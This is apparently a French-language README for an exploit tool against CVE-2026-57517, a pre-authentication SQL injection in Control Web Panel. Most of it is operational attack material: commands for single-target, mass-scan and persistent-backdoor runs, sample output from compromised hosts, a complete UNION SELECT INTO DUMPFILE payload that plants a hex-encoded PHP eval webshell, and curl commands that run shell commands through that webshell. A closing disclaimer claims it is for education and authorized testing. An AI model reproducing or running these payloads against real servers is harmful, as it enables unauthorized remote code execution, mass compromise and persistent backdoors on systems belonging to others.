
💉 Injection SQL aveugle → exploit RCE pour Control Web Panel (CWP) ≤ 0.9.8.1224 — userRes POST → INTO DUMPFILE → cwpsvc shell
CVE-2026-57517 est une injection SQL aveugle critique sans authentification dans Control Web Panel (CWP) versions ≤ 0.9.8.1224. Le paramètre userRes POST sur le point d'accès du panneau utilisateur n'est pas nettoyé avant d'être intégré dans une requête SQL. Les requêtes sont exécutées avec les privilèges root MySQL — qui possèdent le privilège global FILE — permettant aux attaquants d'écrire des fichiers arbitraires via INTO DUMPFILE.
La chaîne d'exploitation typique déploie un webshell PHP dans le répertoire des logs de Roundcube accessible via le web, réalisant une exécution de code à distance sous le compte de service cwpsvc.
| Champ | Détail |
|---|---|
| CVE | CVE-2026-57517 |
| CVSS | 9.8 (Critique) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Type | CWE-89 — Injection SQL aveugle (Pré-Auth) |
| Affecté | Control Web Panel ≤ 0.9.8.1224 |
| Corrigé | Version 0.9.8.1225 |
| Divulgation | 1er juillet 2026 |
| Chercheur | Egidio Romano (Karma In Security) |
| PoC | Publique — KIS-2026-12 |
git clone https://github.com/shinthink/CVE-2026-57517.git
cd CVE-2026-57517
pip install -r requirements.txt
# Single target (auto-detect username)
python cve_2026_57517.py -t 192.168.1.100
# Single target with known username
python cve_2026_57517.py -t 192.168.1.100 -u cwpsvc
# Mass scan
python cve_2026_57517.py -f targets.txt -o live.txt
# Interactive shell
python cve_2026_57517.py -t target.com --rce -u cwpsvc
# Persistent backdoor (no auto-cleanup)
python cve_2026_57517.py -t target.com --no-cleanup
-t, --target Hôte cible unique
-f, --file Fichier contenant les cibles (une par ligne)
-u, --username Nom d'utilisateur CWP (ignore la détection automatique)
-o, --output Fichier de sortie TXT des cibles actives
--json Fichier de rapport JSON
--threads Tâches concurrentes (par défaut : 20)
--timeout Délai d'attente de la requête en secondes (par défaut : 15)
--no-cleanup Laisser les shells sur la cible
--rce Mode shell interactif
-v, --verbose Sortie verbos
$ python cve_2026_57517.py -f targets.txt -o live.txt -v
────────────────────────────────────────────────────────────
CVE-2026-57517 | 5 targets | 20 threads
Cleanup: yes
Live TXT: live.txt
────────────────────────────────────────────────────────────
✅ 192.168.10.100:2083 [rce_confirmed] 18.2s
User : admin
Shell : https://192.168.10.100:2031/roundcube/logs/cwp_a3f2b9c1d8e4.php
RCE : uid=1001(cwpsvc) gid=1001(cwpsvc) groups=1001(cwpsvc)
cwp-prod-01.example.com
whoami: cwpsvc
⚠️ 192.168.10.200:2083 [sqli_failed] 12.1s
User : cwpsvc
Error : SQL injection failed — target may be patched or path not writable
· 192.168.10.50:2083 [not_cwp] 2.3s
==================================================
SCAN SUMMARY
==================================================
Total : 5
✅ RCE : 2
⚠️ SQLi Fail : 1
🔍 No User : 1
· Not CWP : 1
==================================================
$ python cve_2026_57517.py -t target.com --rce -u admin
CWP Interactive Shell — target.com
Type 'exit' to quit, 'cleanup' to remove shell
cwp$ id
uid=1001(cwpsvc) gid=1001(cwpsvc) groups=1001(cwpsvc)
cwp$ hostname
cwp-prod-01
cwp$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
cwpsvc:x:1001:1001::/home/cwpsvc:/bin/bash
cwp$ exit
Étape 1 — Vérifier que CWP est accessible sur le port 2083
curl -sk 'https://target.com:2083/' | grep -i 'control web panel\|CWP'
Étape 2 — Valider le nom d'utilisateur
curl -sk -o /dev/null -w "%{http_code}" 'https://target.com:2083/admin/'
# 200 = user exists
Étape 3 — Injection SQL via userRes
La charge utile utilise un SELECT UNION à 13 colonnes avec un shell PHP encodé en hexadécimal écrit via INTO DUMPFILE :
" UNION SELECT 1,0x{HEX_PHP_SHELL},3,4,5,6,7,8,9,10,11,12,13
INTO DUMPFILE '/usr/local/cwpsrv/var/services/roundcube/logs/shell.php' #
# The tool handles hex encoding automatically. Manual equivalent:
PAYLOAD='" UNION SELECT 1,0x3c3f706870206576616c286261736536345f6465636f646528245f5345525645525b22485454505f43225d29293b203f3e,3,4,5,6,7,8,9,10,11,12,13 INTO DUMPFILE '\''/usr/local/cwpsrv/var/services/roundcube/logs/shell.php'\'' #'
curl -sk 'https://target.com:2083/admin/' \
-d "userRes=$PAYLOAD"
Étape 4 — Exécuter des commandes via le webshell (port 2031)
Le shell PHP déployé lit les commandes depuis l'en-tête HTTP C: :
<?php eval(base64_decode($_SERVER['HTTP_C'])); ?>
# Base64-encode: print '___CMD___'; passthru(base64_decode('aWQ=')); print '___CMD___';
PHP=$(echo "print '___CMD___'; passthru(base64_decode('aWQ=')); print '___CMD___';" | base64 -w0)
curl -sk 'https://target.com:2031/roundcube/logs/shell.php' -H "C: $PHP"
# uid=1001(cwpsvc) gid=1001(cwpsvc)
| Composant | Valeur |
|---|---|
| Colonnes SQL | SELECT UNION à 13 colonnes |
| Shell PHP | <?php eval(base64_decode($_SERVER['HTTP_C'])); ?> |
| Encodage hexadécimal | Littéral hexadécimal MySQL 0x... |
| Méthode d'écriture | INTO DUMPFILE (écriture binaire exacte) |
| Chemin cible | /usr/local/cwpsrv/var/services/roundcube/logs/{uniqid}.php |
| Livraison de la commande | En-tête HTTP C: avec PHP encodé en base64 |
| Exécuteur de commande | passthru(base64_decode('{cmd}')) |
🚨 À DES FINS ÉDUCATIVES ET DE TESTS AUTORISÉS UNIQUEMENT
Ce logiciel est fourni uniquement à des fins éducatives et pour une recherche légitime en sécurité. Il est destiné à être utilisé par :
- 🛡️ Professionnels de la sécurité réalisant des tests d'intrusion autorisés
- 🏢 Organisations auditant leur propre infrastructure CWP
- 🔬 Chercheurs étudiant les techniques d'exploitation de vulnérabilités
- 🎓 Étudiants apprenant la sécurité des applications web
❌ Vous NE POUVEZ PAS utiliser ce logiciel pour :
- Accéder à des systèmes informatiques sans autorisation écrite explicite
- Compromettre, endommager ou perturber des systèmes que vous ne possédez pas
- Participer à toute activité illégale
⚖️ Avis légal
L'accès non autorisé à des systèmes informatiques viole les lois incluant mais sans s'y limiter :
- États-Unis : Computer Fraud and Abuse Act (18 U.S.C. § 1030)
- Indonésie : UU ITE Pasal 30 & 46 (UU No. 11 Tahun 2008 jo. UU No. 1 Tahun 2024)
- Union européenne : Directive 2013/40/EU
- Royaume-Uni : Computer Misuse Act 1990
Le(s) auteur(s) décline(nt) toute responsabilité pour toute utilisation abusive, tout dommage ou conséquence juridique résultant de l'utilisation de cet outil. En utilisant ce logiciel, vous reconnaissez être seul responsable de vos actions et acceptez de vous conformer à toutes les lois applicables.
| Ressource | Lien |
|---|---|
| Karma In Security Advisory | KIS-2026-12 |
| Original PoC | CVE-2026-57517.php |
| Full Disclosure | SecLists |
| OpenCVE | CVE-2026-57517 |
| CWP Changelog | control-webpanel.com |
⚡ Conçu pour la recherche en sécurité et l'éducation ⚡
Ce projet n'est affilié ni à Control Web Panel ni à la Apache Software Foundation.